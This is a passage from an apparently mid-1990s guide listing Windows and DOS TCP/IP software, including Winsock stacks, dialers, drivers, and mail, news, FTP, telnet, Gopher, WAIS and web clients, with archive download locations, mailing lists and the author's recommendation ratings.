ftp://ftp.cica.indiana.edu/pub/pc/win3/winsock/ (PC only)
ftp://mac.archive.umich.edu/mac/util/network/ (Mac only)
EINet WinWeb: ftp://ftp.einet.net/einet/pc/winweb.zip
Mosaic: ftp://ftp.ncsa.uiuc.edu/PC/Mosaic/wmos20a7.zip,
ftp://ftp.ncsa.uiuc.edu/PC/Mosaic/win32s.zip,
ftp://ftp.ncsa.uiuc.edu/PC/Mosaic/readme.now
Cello: ftp://ftp.law.cornell.edu/pub/LII/Cello/cello.zip,
ftp://ftp.law.cornell.edu/pub/LII/Cello/cellofaq.zip


Other Winsock Applications

Trumpet Newsreader:
ftp://biochemistry.bioc.cwru.edu/pub/wintrumpet/
CU-SeeMe: ftp://gated.cornell.edu/pub/video/cuseeme.zip
HGopher: ftp://ftp.cdrom.com/.5/cica/winsock/hgoph24.zip
WSGopher: ftp://sunsite.unc.edu/pub/micro/pc-s...s/wsgopher.zip
InterGopher: ftp://ftp.intercon.com/InterCon/sale...ks/igopher.exe
BCGopher: ftp://ftp.demon.co.uk/pub/ibmpc/wins...r/bcgopher.zip
PNL Gopher: ftp://ftp.pnl.gov/
Voice Chat: ftp://ftp.cdrom.com/.5/cica/winsock/ivc11.zip
Global Phone: ftp://micros.hensa.ac.uk /mirrors/cica/win3/demo/igp16_102.zip
ftp://micros.hensa.ac.uk /mirrors/cica/win3/demo/igp8_102.zip
PCEudora: ftp://ftp.qualcomm.com/quest/windows...4/eudor144.exe (PC Eudora)
EWAN: ftp://ftp.best.com/pub/bryanw/pc/winsock/ewan1052.zip
WinFTP: ftp://ftp.cdrom.com/.5/cica/winsock/winftp.zip
WinTalk: ftp://ftp.cdrom.com/.5/cica/winsock/wtalk121.zip
3270: ftp://ftp.ccs.queensu.ca/pub/msdos/tcpip/qws3270.zip
PhWIN: ftp://ftp.cdrom.com/.5/cica/winsock/phwin22.zip
FTP client: ftp://ftp.cdrom.com/.5/cica/winsock/ws_ftp.zip (16 bit)
ftp://ftp.cdrom.com/.5/cica/winsock/ws_ftp32.zip (32 bit)
EINet WAIS: ftp://ftp.einet.net/einet/pc/EWAIS204.ZIP
Comt: ftp://ftp.std.com/customers/software/rfdmail/comt.zip
Finger: ftp://winftp.cica.indiana.edu/pub/pc...k/finger31.zip
Dialer: ftp://winftp.cica.indiana.edu/pub/pc...il/dialexe.zip
WinQVTNet: ftp://biochemistry.cwru.edu/pub/qvtnet/
WSArchie: ftp://ftp.cdrom.com/.5/cica/winsock/wsarch07.zip
WSIRC: ftp://ftp.cdrom.com/.5/cica/winsock/wsirc14c.zip
WinVN: ftp://ftp.cdrom.com/.5/cica/winsock/winvn926.zip
WinFSP: ftp://ftp.cdrom.com/.5/cica/winsock/winfsp12.zip
Wlpr: ftp://ftp.cica.indiana.edu/pub/pc/wi...k/wlprs40c.zip
Whois: ftp://ftp.cdrom.com/.5/cica/winsock/whois32.zip
WinTelnet: ftp://ftp.ncsa.uiuc.edu/PC/Telnet/windows/wtel1b3.zip
MPEG Viewer: ftp://ftp.ncsa.uiuc.edu/PC/Mosaic/viewers/mpegw32c.zip
Windows Quicktime:
ftp://lister.cc.ic.ac.uk/pub/wingoph...es/qtwplay.zip
Windows sound player:
ftp://lister.cc.ic.ac.uk/pub/wingoph.../wnplny09b.zip
Viewers: ftp://ftp.law.cornell.edu/pub/LII/Cello/viewers.zip
Windows W3 server:
ftp://sunsite.unc.edu/pub/micro/pc-s...s/serweb03.zip
JPEG Viewer: ftp://ftp.law.cornell.edu/pub/LII/Cello/lview31.zip
GIF Viewer: ftp://ftp.law.cornell.edu/pub/LII/Cello/wingif14.zip
Wham viewer: ftp://ftp.law.cornell.edu/pub/LII/Cello/wham131.zip
Ghostscript: ftp://ftp.law.cornell.edu/pub/LII/Cello/gswin.zip
X Windows Demo: ftp://winftp.cica.indiana.edu/pub/pc...s/xwindemo.zip

Windows NT servers

W3 server: ftp://emwac.ed.ac.uk/pub/https/HSI386.ZIP
WAIS server: ftp://emwac.ed.ac.uk/pub/waistool
Gopher server: ftp://emwac.ed.ac.uk/pub/gophers/GSI386.ZIP
FTP server: ftp://sunsite.unc.edu/pub/micro/pc-s...ps/nt-ftpd.zip

DOS Applications

Minuet: ftp://boombox.micro.umn.edu/pub/pc/m...t/minuarc.exe,
ftp://boombox.micro.umn.edu/pub/pc/m...st/install.txt
PC-Pine: ftp://ftp.cac.washington.edu/mail/PC-PINE/pcpine_p.zip
NCSA Telnet: ftp://merit.edu/pub/ppp/pc/ncsappp.zip
KA9Q: ftp://biochemistry.bioc.cwru.edu/pub/nos/nos11c.exe,
ftp://biochemistry.bioc.cwru.edu/pub/nos/nos11c.txt,
ftp://biochemistry.bioc.cwru.edu/pub/nos/nos192.txt
NOS View: ftp://ucsd.edu/hamradio/packet/tcpip...w/nosvw304.zip
NUPOP: ftp://ftp.acns.nwu.edu/pub/nupop/

Programming tools

Pasock: ftp://oak.oakland.edu/SimTel/win3/winsock/pasock10.zip

############################################################

RESOURCE LISTING

Key

Recommendation = I use, or have used this software or
equipment, and I like it.

Suggestion = I have not used this software, but it has been
recommended to me by people that I trust.

Downright Speculation = Neither myself nor anyone I know
has used this, but it claims to offer interesting
capabilities, so it's included.


BOOKS

Downright speculation
NOSIntro - An Introduction to the KA9Q Network Operating System
Price: 11.50 Pounds sterling, plus postage and handling.
U.S. price, including shipping: 17.34 pounds sterling

This book by Ian Wade (author of NOSView) thoroughly covers
KA9Q. Publisher is Dowermain, 356 pages, 35 chapters, 6 appendices,
illustrated. ISBN 1-897649-00-2.

Dowermain, Ltd., 7 Daubeney Close, Harlington, DUNSTABLE, Bedfordshire,
LU5 6NF, United Kingdom, mailto:ian@g3nrw.demon.co.uk. Written orders only,
no U.S. distributor yet.

Recommendation
InfoPOP - Guide to Internet Resources Free

InfoPOP/Windows is a smallish guide to the Internet in the form of a
Windows Help application. InfoPOP/DOS is a TSR with the same content.

Available via ftp://gmuvax2.gmu.edu/, or gopher://fenwick.gmu.edu/
Computers/Info-Technology/Software
|___under Software available on this Gopher

MAILING LISTS

Windows Sockets

mailto:winsock-request@microdyne.com
mailto:winsnmp-request@microdyne.com

W3 for Windows

mailto:LISTSERV@fatty.law.cornell.edu, with
sub cello-l your full name
in the body of the message.

Firewalls

mailto:majordomo@greatcircle.com, with
sub firewalls-digest
in the body of the message. Back issues
are available at ftp.greatcircle.com:/pub/firewalls.digest/vNN.nMMM.Z
where NN is the volume number and MMM is the issue number.

Socks mailing list

Discussion of application level gateways.
mailto:socks-request@inoc.dl.nec.com

SNMPv1 list

mailto:snmp-request@psi.com, subject: subscribe,
body: youraddress@yourhost.domain

SNMPv2 list

mailto:snmpv2-request@tis.com, subject: subscribe,
body: youraddress@yourhost.domain

Novell mailing list

mailto:listserv@suvm.acs.syr.edu
body: subscribe NOVELL &lt;Your Full Name&gt;

CUTCP mailing list

mailto:listserv@nstn.ns.ca
body: sub cutcp-l &lt;Your Full Name&gt;

Samba mailing list

Discussion of the very cool SMB server software for UNIX.
mailto:listproc@anu.edu.au
Leave subject line blank, body:
subscribe samba Firstname Lastname
subscribe samba.announce Firstname Lastname

Fergie mailing list

For discussion of the packet sniffing and analysis software.
mailto:request@dnpap.et.tudelft.nl
body: subscribe fergie

DHCP mailing list

mailto:host-conf-request@sol.cs.bucknell.edu

Internet Voice Chat users list

http://pluto.njcc.com/~jjkane/ivcusers.html
Also try IRC channel #IVC, or alt.winsock.ivc


TOASTERNETS

The Little Garden
San Francisco, CA
mailto:info@tlg.org

Santa Cruz Community Internet (scruz-net)
903 Pacific Ave. #203-A
Santa Cruz, CA 95060
(408)457-5050
mailto:info@scruz.net

North Bay Network
20 Minor Court
San Rafael, CA 94903
(415)472-1600
mailto:info@nbn.com

RAINet
9501 SW Westhaven
Portland, OR 97225
(503)297-8820
mailto:admin@rain.com

OBTAINING SOFTWARE

If you don't have access to FTP, you can retrieve the
files via e-mail, using the following mail servers:

FTPmail

mailto:ftpmail@decwrl.dec.com
mailto:ftpmail@ftp.uni-stuttgart.de
mailto:ftpmail@grasp.insa-lyon.fr
mailto:ftpmail@doc.ic.ak.uk

For information on how to do this, put "help" in
the body of the message.

BITFTP (available to BITNET users only)

mailto:bitftp@vm.gmd.de
mailto:bitftp@plesarn.edu.pl
mailto:bitftp@pucc.princeton.edu

CHAMELEON

*Recommendation
Chameleon Sampler Free

This is the sampler version of the NetManage Chameleon
TCP/IP product. Available via:
ftp://ftp.netmanage.com/pub/demos/sampler/sampler.exe

TRUMPET WINSOCK

Recommendation
Trumpet WinSock v2.0b

A shareware version of Windows Sockets that runs over packet
drivers and requires WINPKT. The latest version supports
PPP as well as SLIP/CSLIP, and Socks Proxies. Available as:
ftp://ftp.utas.edu.au/pc/trumpet/winsock/twsk20b.zip,
ftp://ftp.utas.edu.au/pc/trumpet/winsock/winapps2.zip, or
ftp://biochemistry.bioc.cwru.edu/pub...k/twsk20b.zip,
ftp://biochemistry.bioc.cwru.edu/pub...k/winapps2.zip

P. Tattam, Programmer; Psychology Department, University of
Tasmania, Hobart, Tasmania, Australia, 61-02-202346;
mailto:peter@psychnet.psychol.utas.edu.au

Downright Speculation
VxDTCP

A shareware version of Windows Sockets, running over NDIS,
and implemented as a VxD driver. Available at:
ftp://biochemistry.bioc.cwru.edu/pub...p/vxdtcpa2.zip

MICROSOFT TCP/IP

Recommendation
Microsoft TCP/IP-32 for WFW 3.11

Adds TCP/IP to WFW 3.11. This stack is unique in that it
supports NetBIOS over TCP/IP, allowing you to mount shares
across the Internet, including ftp.microsoft.com. Available as:
ftp://ftp.microsoft.com/peropsys/windows/Public/tcpip/

CHAMELEON SAMPLER

Recommendation
Chameleon Sampler Free

This is an introductory version of Chameleon by NetManage, that
is currently packaged with various Windows Internet books (including mine).
This supports SLIP/CSLIP/PPP, but not network adapters. In my
opinion this is the easiest to setup, fully functional dialup IP
stack around. The package includes applications for mail, ftp,
telnet, and ping. Telnet supports TTY, ANSI, VT52, VT100, and VT220
emulation. However, be aware that this stack should not be installed
if you already have another WINSOCK DLL loaded; several applications
in Chameleon Sampler do not check for another WINSOCK version and
will load the NEWT stack anyway.

Available via:
ftp://ftp.netmanage.com/pub/demos/sampler/sampler.exe

NetManage, Inc.; 10725 North De Anza Blvd, Cupertino, CA 95014,
(408)973-7171, fax: (408)257-6405, mailto:support@netmanage.com

*Suggestion
Internet Connect v2

Internet-Connect v2.0 from Core Systems is a TCP/IP stack implemented
as a 32-bit VxD and DLL, thus requiring no DOS memory. It supports
both LAN (Ethernet) and SLIP/CSLIP/PPP connections. Other features
include demand dial, dynamic address assignment, scripting, multiple
interfaces with IP routing and forwarding, and BOOTP/DHCP.

Internet-Connect v2.0 provides a complete Winsock API. A Windows-based
setup program and network configuration utility is included. Available via:
ftp://oak.oakland.edu/SimTel/win3/winsock/inetv2.zip


DIALERS

Recommendation
Dialer Free

DIALER is a Windows program that will dial up a host and then
run a series of WIndows applications. It isn't needed with
Trumpet Winsock anymore, since this now has its own built-in
scripting language. Available at:
ftp://winftp.cica.indiana.edu/pub/pc...il/dialexe.zip
ftp://ftp.cdrom.com/.5/cica/winsock/dialexe.zip

Recommendation
GOSLIP Free

This is another SLIP dialer with built-in scripting that allows
for multiple configurations, for each service you dial. Available at:
ftp://winftp.cica.indiana.edu/pub/pc...il/goslip2.zip
ftp://ftp.cdrom.com/.5/cica/winsock/goslip2.zip

Recommendation
NetDial
Shareware $20

Another dialer application that can support up to 5 configurations.
Available at:
ftp://winftp.cica.indiana.edu/pub/pc...il/netd122.zip
ftp://ftp.cdrom.com/.5/cica/winsock/netd122.zip
ftp://winftp.cica.indiana.edu/pub/pc...l/netd122u.zip
ftp://ftp.cdrom.com/.5/cica/winsock/netd122u.zip
(Upgrade from previous version)


NETWORK ADAPTER DRIVERS

Recommendation
Crynwr drivers free
Support Contact Crynwr for info

The Crynwr drivers, formerly known as the Clarkson University
CUTCP drivers, are created by Russ Nelson of Crynwr Software,
which sells packet and other driver support. The Crynwr
drivers support many Ethernet adapter boards, including
those from 3COM, Telesystems, AT&T, Digital, Mitel, HP,
BICC, NCR, Novell, Interlan, MICOM, Racal/Interlan, NTI,
Tiara, Ungermann-Bass, and Western Digital.

The Packet Driver Specification v1.09 is available via:
ftp://vax.ftp.com/pub/packet-d.ascii,
ftp://vax.ftp.com/pub/ppacket-d.mss

PC-NFS drivers available in
ftp://ftp.sun.soe.clarkson.edu/pub/p...ers/compat.zip
(requires Sun's PC-NFS).

The drivers, currently in release 11 are available at:
ftp://oak.oakland.edu/pub/msdos/pktdrvr/pktd11.zip (executables)
ftp://oak.oakland.edu/pub/msdos/pktdrvr/pktd11a.zip (sources)
ftp://oak.oakland.edu/pub/msdos/pktdrvr/pktdt11b.zip (sources)
ftp://oak.oakland.edu/pub/msdos/pktdrvr/pktd11c.zip (executables)
ftp://oak.oakland.edu/pub/msdos/pktdrvr/pktd11.zip (additional executables and sources)

Crynwr Software, 11 Grant St., Potsdam, NY 13676,
(315)268-1925, fax: (315)268-9201, mailto:nelson@Crynwr.com

Recommendation
Intel EtherExpress Driver free

This is a replacement packet driver for the Intel Etherexpress driver
(exp16.com) found in v11 of the Crywr packet driver library. It fixes
problems with "Unable to initialize the 82586" errors on 486/66 or
faster machines.

Available from:
ftp://oak.oakland.edu:/pub/msdos/pktdrvr/exp16116.zip

Downright speculation
Drivers for Western Digital Ethernet Boards free

Available as:
ftp://ftp.cdrom.com/.2/SimTel/msdos/lan/wdpost.zip

Recommendation
NDIS Drivers free

Libraries of free NDIS drivers for DOS and OS/2 are
available at FTP Software, Inc. at
ftp://vax.ftp.com/ndis/ndis.txt. Another source of
NDIS drivers is the Windows for Workgroups package.
New drivers are available for download from Microsoft
Product Support Services, available at (206)936-MSDL,
or on CompuServe or GEnie. The Windows Driver LIbrary (WDL),
which includes printer, display and network drivers is also
available on disk from Microsoft by calling (800)426-9400.

The NDIS spec is available as:
ftp://vax.ftp.com/pub/ndis-mac.v101.txt,
ftp://vax.ftp.com/pub/ndis-mac.v201.txt

SLIP AND PPP DRIVERS

Suggestion
SLIPPER v1.5 Free
CSLIPPER Free

SLIPPER and CSLIPPER get rave reviews for being less
obtrusive than some other SLIP/CSLIP drivers so that
the machine loses fewer clock ticks. The result is
that the clock stays more accurate. SLIP/CSLIP operation
is supported at up to 57.6 Kbps on a 486. CSLIPPER is a
version which supports Van Jacobson header compression.
Supports PKTMUX.

SLIPPER is available from:
ftp://ftp.utas.edu.au/pc/trumpet/slipper/slipper.zip
ftp://biochemistry.cwru.edu/pub/slipper/slippr13.zip

CSLIPPER is available from:
ftp://biochemistry.cwru.edu/pub/slipper/cslipper.exe

P. Tattam, Programmer; Psychology Department, University of
Tasmania, Hobart, Tasmania, Australia, 61-02-202346;
mailto:peter@psychnet.psychol.utas.edu.au

Recommendation
ETHERPPP Free

Glenn McGregor, formerly of Merit Network, has released
ETHERPPP, a PPP packet driver that simulates a class
1 (Ethernet) packet driver. It works well enough, is
simple to configure, but takes up too much RAM (121K).
Available as: ftp://merit.edu/pub/ppp/pc/etherppp.zip

WINDOWS SOCKETS COMPATIBLE APPLICATIONS

MAIL

Suggestion
UUPC

This is a port of UUPC for DOS, Windows, and Windows NT. It
support UUCP over a modem as well as over TCP/IP.
It does not include a mail or news reader. Available as:
ftp://ftp.clarkson.edu/pub/uupc/
ftp://ftp.clarkson.edu/pub/uupc/upc12baw.zip (docs)
ftp://ftp.clarkson.edu/pub/uupc/upc12bd1.zip (DOS executables, part 1)
ftp://ftp.clarkson.edu/pub/uupc/upc12bd2.zip (DOS executables, part 2)
ftp://ftp.clarkson.edu/pub/uupc/upc12bd3.zip (DOS executables, part 3)
ftp://ftp.clarkson.edu/pub/uupc/upc12bw1.zip (Win3 executables, part 1)
ftp://ftp.clarkson.edu/pub/uupc/upc12bw2.zip (Win3 executables, part 2)
ftp://ftp.clarkson.edu/pub/uupc/upc12bw3.zip (Win3 executables, part 3)
ftp://ftp.clarkson.edu/pub/uupc/upc12bn1.zip (NT executables, part 1)
ftp://ftp.clarkson.edu/pub/uupc/upc12bn2.zip (NT executables, part 2)
ftp://ftp.clarkson.edu/pub/uupc/upc12bn3.zip (NT executables, part 3)
ftp://ftp.clarkson.edu/pub/uupc/upc12bs1.zip (Source files, part 1)
ftp://ftp.clarkson.edu/pub/uupc/upc12bs2.zip (Source files, part 2)


Recommendation
PCEudora v1.44 Free

The Windows version of Eudora, compatible with Windows Sockets.
Handles SMTP, POP3, offers BINHEX4 and MIME support. This is the
nicest TCP/IP mail client available anywhere. The lastest version
now runs under Windows NT.

Available at:

ftp://ftp.qualcomm.com/quest/windows...4/eudor144.exe (PC Eudora)
ftp://boombox.micro.umn.edu/pub/pc/binhex/binhex.exe (BINHEX)

Qualcomm, sales: mailto:eudora-sales@qualcomm.com, bug reports:
mailto:pc-eudora-bugs@qualcomm.com, (800)238-3672

Suggestion
Pegasus mail Free

Pegasus supports SMTP/POP3, with DOS and Windows versions. It can be used
as under Novell Netware, or as a TCP/IP mailer. While the software
is free, the author charges for manuals. A discussion group is
available: news:bit.listserv.pmail. Available as:

Pegasus mail is available via:
ftp://oak.oakland.edu/SimTel/win3/mail/winpm122.zip (Windows version),
ftp://pub.vse.cz/pub/msdos/pmail/winpm122.zip
ftp://risc.ua.edu/pub/network/pegasus/winpm122.zip (Windows version),
ftp://risc.ua.edu/pub/network/pegasus/pmail311.zip (DOS version)

Suggestion
SMTP client v1.1 Free

A Windows Sockets-compatible SMTP client that is limited to
send only. Not as functional as PCEudora (which also handles
POP3). Available at:
ftp://sunsite.unc.edu/pub/micro/pc-s...pps/smtp11.zip

Contact: mailto:Todd.Young@StPaul.NCR.COM

Suggestion
RFD Mail
Shareware $29.95

This is an SMTP/POP3 mailer that does not support file enclosures.
However, it is ideal for users who receive mail on commercial services
such as CompuServe and GEnie, in addition to the Internet, since it
can work in each of these cases.

Available as:
ftp://ftp.std.com/customers/software...il/rfdmail.zip

Suggestion
WinBiff mail notifier
Shareware $10
Students $5

This utility can poll for mail and notify you when it
comes in. It works with Waffle, Pegasus Mail, FirstMail,
Novell MHS, Mini-Host, FSUUCP, or even Sendmail if you're
also running PC-NFS.

Available as:
ftp://winftp.cica.indiana.edu/pub/pc...l/wnbff20b.zip
ftp://ftp.cdrom.com/.5/cica/util/wnbff20b.zip


NEWS

*Downright speculation
xp_slip Free

xp_slip is a set of DOS TCP/IP applications by Karl Weis,
mailto:khweis@mvmpc9.ciw.uni-karlsruhe.de, designed to automatically
retrieve mail and news via an offline reader.

Available via:
ftp://mvmpc9.ciw.uni-karlsruhe.de/x_slip/
http://mv70.rz.uni-karlsruhe.de/~ig19/

*Recommendation
News Xpress v2.1
Freeware

This is the best Windows newsreader; it offers built in uudecode/uuencode.
Available via:
ftp://ftp.hk.super.net/pub/windows/W...ies/nx10b3.zip

*Downright speculation
TRP
Shareware

Available via:
ftp://ftp.internet-eireann.ie/pub/ie...ock/TRP104.ZIP
ftp://ftp.demon.co.uk/pub/ibmpc/winsock/apps/trp/

Johannes Eggers, Tetrix Engineering, 201 Harold's Cross Road, Harold's Cross,
Dublin 6W, Ireland; +353-1-4964121, mailto:Johannes@tetrix.internet-eireann.ie

Recommendation
Windows Trumpet v1.0b

WinTrumpet is a Windows-Sockets compatible NNTP client
from P. Tattam that supports the Trumpet ABI, packet
drivers, Novell Lan Workplace for DOS and WinSock v1.1.
It is the nicest shareware NNTP newsreader for Windows
Sockets. Available at:
ftp://ftp.utas.edu.au/pc/trumpet/wintrump/wt_wsk.zip
ftp://biochemistry.cwru.edu/pub/wintrump/wt_wsk.zip
(Windows Sockets version),
ftp://biochemistry.cwru.edu/pub/wintrump/wtpkt10a.zip,
ftp://biochemistry.cwru.edu/pub/wintrump/wtabi10a.zip,
ftp://biochemistry.cwru.edu/pub/wintrump/winpkt.com,
ftp://biochemistry.cwru.edu/pub/wintrump/wtlwp10a.zip (Lan Workplace for DOS)

Downright Speculation
WinVN v0.926

A semi-graphical Windows application for reading news
which supports NNTP over TCP/IP or serial line connections,
and can send mail via SMTP or MAPI. Compatible with Winsock v1.1;
a version is also available for Windows NT. Does not support
LocalTalk. Current version has been tested with:

NetManage's WINSOCK
FTP Inc.'s WINSOCK
Wollongong's WINSOCK
NT's WSOCK32
DEC's Pathworks
MS's Lan Man

Available at:
ftp://ftp.ksc.nasa.gov/pub/win3/winvn/
ftp://winftp.cica.indiana.edu/pub/pc...k/winvn926.zip
ftp://ftp.cdrom.com/.5/cica/winsock/winvn926.zip

Sam Rushing, email: mailto:rushing@titan.ksc.nasa.gov,
mailto:hoggle!hoggle2!rushing@peora.sdc.ccur.com

You'll find a bunch of zip files. Be sure to use binary mode.
Read the file announce-2.txt first.

While you're at it, you might also try out the spellchecker at:
ftp://ftp.erinet.com/pub/dmike/wcspell3.zip

Downright Speculation
DMail

This is a mail/news program written in Russia for use by
Russians. It supports UUCP-g, either over modem or TCP/IP,
SMTP, POP3, and NNTP, as well as drag and drop, uudecode,
and sorting of articles by size, date, or subject.

Available via:
ftp://ftp.cdrom.com/.5/cica/winsock/dmailwin.zip

FILE TRANSFER

Downright Speculation
WinFTP

WinFTP is a modified version of WS_FTP, with the mods done by
mailto:slahiri@magnus.acs.ohio-state.edu. Since WS_FTP
continues to evolve and includes a 32-bit version, and WinFTP
has not been updated since January 1994, this program is now
out of date.

Available via:
ftp://ftp.cdrom.com/.5/cica/winsock/winftp.zip
ftp://cnuce-arch.cnr.it/pub/msdos/wi...ock/winftp.zip


*Recommendation
WS-FTP client free

This is the most current and featureful graphical FTP implementation,
regularly updated by John A. Junod. Available at:
ftp://129.29.64.246/pub/msdos/ws_ftp.zip
ftp://ftp.usma.edu/pub/msdos/winsock.files/ws_ftp.zip (executable)
ftp://ftp.usma.edu/pub/msdos/winsock.files/ws_ftp_s.zip (source code)
ftp://ftp.cdrom.com/.5/cica/winsock/ws_ftp32.zip (32 bit version)
ftp://sunsite.unc.edu/pub/micro/pc-s...pps/ws_ftp.zip

John Junod; mailto:zj8549@trotter.usma.edu; mailto:junodj@gordon-emh2.army.mil
NCOIC, Technology Integration Branch, Computer Science School,
FT Gordon, GA 30905; (706)791-3245 AV:780-3245

Recommendation
Winfsp v1.2 Free

A Windows Sockets-compatible implementation of the
File Slurping Protocol. I got it working with no
problem. Be aware that the Òprotocol searchÓ option
can take quite a while; you may have be asking the
client to individually test hundreds of ports, at
a second per port. Available at:
ftp://winftp.cica.indiana.edu/pub/pc...k/winfsp12.zip
ftp://ftp.cdrom.com/.5/cica/winsock/winfsp12.zip

TELNET

Recommendation
COMt - The Telnet Modem
Shareware, $15.95

This program adds telnet capability to any Windows 3.1
terminal emulator. This is great if you need some special
kind of emulation, such as PC-ANSI or RIP. Available via:
ftp://ftp.std.com/customers/software/rfdmail/comt.zip
ftp://ftp.cdrom.com/.5/cica/winsock/comt.zip

Recommendation
EWAN

This is a Telnet implementation that supports ANSI and VT100
emulation. Allows customized configuration. Available via:
ftp://ftp.lysator.liu.se/pub/msdos/windows/ewan1052.zip
ftp://ftp.cdrom.com/.5/cica/winsock/ewan1052.zip

Suggestion
Trumpet Telnet v0.5

A Windows Sockets compatible Telnet implementation. Available at:
file:/petros.psychol.utas.edu.au/pub/trumpet/trmptel/trmptel.exe

Downright speculation
Windows Telnet beta 3 free

An unsupported Telnet implemenation for Windows. Windows Sockets compatible.
Available at:
ftp://ftp.ncsa.uiuc.edu/PC/Telnet/windows/wintelb3.zip
ftp://ftp.cdrom.com/.5/cica/winsock/wintelb3.zip

Suggestion
Windows TN3270 client v1.7
Shareware $35

A Windows Sockets-compatible TN3270 and Tektronix 4010 client that
began as freeware and is now shareware.
Available at:
ftp://ftp.ccs.queensu.ca/pub/msdos/tcpip/qws3270.zip

Suggestion
UW Free

This is a multi-window terminal emulator, supporting VT52, VT100
and VT200 emulation. It is therefore similar to MacLayers.
Available via:
ftp://ftphost.cac.washington.edu/pub...k/uwterm_0.97f

Suggestion
YawTel Free

This is a telnet emulator designed to work with Windows
Mosaic. Available via:
ftp://ftp.cdrom.com/.5/cica/winsock/yawtel02.zip

*Recommendation
WinQVT/Net v3.989
Shareware $40
Students $20

QVTNet is a Windows v3.1 application that supports FTP
client and server (not fully graphical; commands are
entered at the bottom of the window), telnet (up to
15 simultaneous sessions), mail (SMTP and POP3),
NNTP (up to 30 newsgroups) and lpr. It is written
as a DLL, and comes in several versions: a Windows
Sockets-compatible version (recommended); a 32-bit
version; and a version with it's own built-in
TCP/IP stack. The version with the built-in stack
requires that you load PKTINT in DOS before running
it, and also requires you to supply your own packet
drivers, and is compatible with AppleTalk as well as
class 6 SLIP drivers.

Note: the 16-bit Winsock version of WinQVT/Net has
problems under Windows NT; use the 32-bit version instead.

Available at:
ftp://biochemistry.bioc.cwru.edu/gop...t/qvtne398.zip
(packet driver version with built-in TCP/IP stack),
ftp://biochemistry.bioc.cwru.edu/gop...t/qvtnt398.zip
(Windows NT version),
ftp://biochemistry.bioc.cwru.edu/gop...t/qvtws398.zip
(Windows Sockets version).

Contact: mailto:djpk@troi.cc.rochester.edu

WAIS

Downright Speculation
USGS WAIS Client

A Windows WAIS client, available at:
ftp://ridgisd.er.usgs.gov/software/wais/wwais24.zip.

*Downright Speculation
WAIS Manager

A Windows WAIS client, now compatible with Windows
Sockets, available at:
ftp://ftp.cnidr.org/pub/NIDR.tools/w...s/waisman3.zip
ftp://ftp.cnidr.org/pub/NIDR.tools/w...s/uncwais5.zip

Jim Fullton, UNC Office of Information Technology, Computing
Systems Development Group, (919)962-9107; email: mailto:fullton@samba.oit.unc.edu.

Recommendation
EINet winWAIS v2.04
Shareware, $35

The most mature Windows WAIS client, Windows Sockets-compatible. Available at:
ftp://ftp.einet.net/einet/pc/EWAIS204.ZIP or
ftp://winftp.cica.indiana.edu/pub/pc...k/ewais204.zip
ftp://ftp.cdrom.com/.5/cica/winsock/ewais204.zip

EINet Windows Shareware, MCC, 3500 West Balcones Center Drive,
Austin, TX 78759-6509

GOPHER

Recommendation
HGopher v2.4 Free

This is a Windows-sockets compatible version of Gopher, that is
now the property of FTP Software, Inc. Looks good.
Be sure to get the viewers, too. Available at:
ftp://ftp.cdrom.com/.5/cica/winsock/hgoph24.zip

Recommendation
InterGopher Demo

A demo Gopher client from Intercon. Available at:
ftp://ftp.intercon.com/InterCon/sale...ks/igopher.exe

Recommendation
WSGopher v1.1 Free

The best Gopher+ client for Windows. Available at:
ftp://dewey.tis.inel.gov/pub/wsgopher/wsg-11.exe
ftp://boombox.micro.umn.edu/pub//gop...ows/wsg-11.exe

Suggestion
BCGopher

This is a Gopher+ implementation that supports HTML and MIME.
Note that this site does not use anonymous FTP; rather you must login as guest.
Available via:
ftp://ftp.demon.co.uk/pub/ibmpc/wins...r/bcgopher.zip

Recommendation
PNL InfoBrowser

This is the best of the 16-bit Gopher+ implementations. Includes a waft of new
features not available in any other Gopher implementation. Impressive!
Available via:
ftp://ftp.pnl.gov/pub/pnlinfo/win/ib105.exe

WEB BROWSERS

Recommendation
WinWeb Free

Another publicly distributable Web client, created
by the EINet subsidiary of MCC.

Available at:
ftp://ftp.einet.net/einet/pc/winweb.zip

*Recommendation
Netscape v1.0 Free

Although it could use some improvements in the speed area,
and it has its share of bugs, Netscape is now recognized as
the preeminent Web browser. The interface is clean, it includes
buttons linking to some excellent Web pages at mcom.com, it supports
proxy servers, mailto: URLs, and best of all, a newsreader
that completely outclasses the competition. For example,
while reading news, you can follow URLs in the text.
Biggest complaint: no direct support for WAIS URLs (no PC
Web browser supports this, only XMosaic does).
Second biggest complaint: Mozilla is the ugliest mascot
since Spuds MacKenzie. The current release is a 16-bit
application.

Available via:
ftp://ftp.mcom.com/netscape/ (Primary archive for v1.0)
ftp://ftp.digital.com/pub/net/infosys/Mosaic-Comm/
ftp://lark.cc.ukans.edu/Netscape/
ftp://ftp.meer.net/pub/Netscape/
ftp://src.doc.ic.ac.uk/packages/Netscape/
ftp://unix.hensa.ac.uk/pub/mosaic.comm.corp/
ftp://archie.au/pub/misc/netscape/
ftp://ftp.cica.indiana.edu/pub/pc/win3/winsock/ (PC only)
ftp://mac.archive.umich.edu/mac/util/network/ (Mac only)

Suggestion
Internetworks Lite

This is a demo version of a commercial program called
Internetworks, which is available on CD-ROM along with
an electronic copy of The Internet Yellow Pages (not
the Harley Hahn version, the other one).
Its major distinguishing features are support of OLE v2.0,
and the ability to download more than one page simultaneously.
This is a 16-bit application, available via:

ftp://ftp.booklink.com/lite/netlite.exe

*Recommendation
Windows Mosaic v2.0a9 free

In my opinion, the release of Netscape has rendered Mosaic
(as well as its commercial cousins, Spyglass Mosaic and
AIR Mosaic) obsolete. However, it still may be of
historical interest for some.

The Internet's Swiss army knife: supports hypertext links,
font styles, embedded pictures, sounds, and movies. An amazing
application. Compatible with Windows Sockets. Version 2.0
supports forms, clickable regions within pictures. To use this
to read local documents without a TCP/IP stack installed, you
will need to download the Null Winsock.

Please note: Since Mosaic is now a 32-bit app,
unless you are running Windows NT, or Windows 95 you must install
Win32s (available from ftp.microsoft.com) in order to run Mosaic. Also,
make sure you get the viewers for sounds, JPEG, and MPEG.
Available at:
ftp://ftp.ncsa.uiuc.edu/PC/Mosaic/wmos20a9.zip (32-bit version)
ftp://ftp.ncsa.uiuc.edu/PC/Mosaic/win32s.zip,
ftp://ftp.ncsa.uiuc.edu/PC/Mosaic/readme.now (Windows Mosaic)
ftp://ftp.ncsa.uiuc.edu/PC/Mosaic/nullsock.zip (Null Winsock)

GIF viewer:
ftp://lister.cc.ic.ac.uk/pub/wingoph...e/wingif14.zip
ftp://lister.cc.ic.ac.uk/pub/wingoph...s/image/gv.zip

JPEG viewer:
